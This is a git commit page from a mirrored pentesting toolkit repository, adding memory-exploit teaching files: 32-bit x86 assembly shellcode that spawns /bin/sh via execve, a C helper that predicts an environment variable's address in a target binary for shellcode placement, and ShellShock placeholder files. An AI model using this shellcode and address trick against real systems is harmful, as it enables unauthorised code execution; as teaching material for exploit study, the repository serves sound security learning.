mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 19:16:08 -04:00
some small fixes
This commit is contained in:
parent
9df63fa0ec
commit
baee235c69
1035
Memory_Exploits/README1.md
Normal file
1035
Memory_Exploits/README1.md
Normal file
File diff suppressed because it is too large
Load Diff
1
Memory_Exploits/RUNNING_ASM.md
Normal file
1
Memory_Exploits/RUNNING_ASM.md
Normal file
@ -0,0 +1 @@
|
|||||||
|
nasm shellspawn.asm
|
12
Memory_Exploits/getshadd.c
Normal file
12
Memory_Exploits/getshadd.c
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
// usage: ./getshadd ENVVAR BINARY
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc,char *argv[]){
|
||||||
|
char *ptr;
|
||||||
|
ptr=getenv(argv[1]);
|
||||||
|
ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
|
||||||
|
printf("%s will be at %p\n",argv[1],ptr);
|
||||||
|
return 0;
|
||||||
|
}
|
14
Memory_Exploits/shellspawn.asm
Normal file
14
Memory_Exploits/shellspawn.asm
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
BITS 32
|
||||||
|
|
||||||
|
xor eax, eax ; zero eax
|
||||||
|
push eax ; null terminate the string
|
||||||
|
push 0x68732f2f ; push //sh (// is same as / for our purpose)
|
||||||
|
push 0x6e69622f ; push /bin
|
||||||
|
mov ebx, esp ; pass first argument using ebx
|
||||||
|
push eax ; third argument is empty
|
||||||
|
mov edx, esp
|
||||||
|
push eax ; second argument is empty
|
||||||
|
mov ecx, esp
|
||||||
|
mov al, 11 ; execve is system call #11
|
||||||
|
int 0x80 ; issue an interrupt
|
||||||
|
|
2
OS_Injections/ShellShocker/file.txt
Normal file
2
OS_Injections/ShellShocker/file.txt
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
bash can be super fun
|
||||||
|
bash can be dangerous
|
BIN
OS_Injections/ShellShocker/header.png
Normal file
BIN
OS_Injections/ShellShocker/header.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 59 KiB |
Loading…
x
Reference in New Issue
Block a user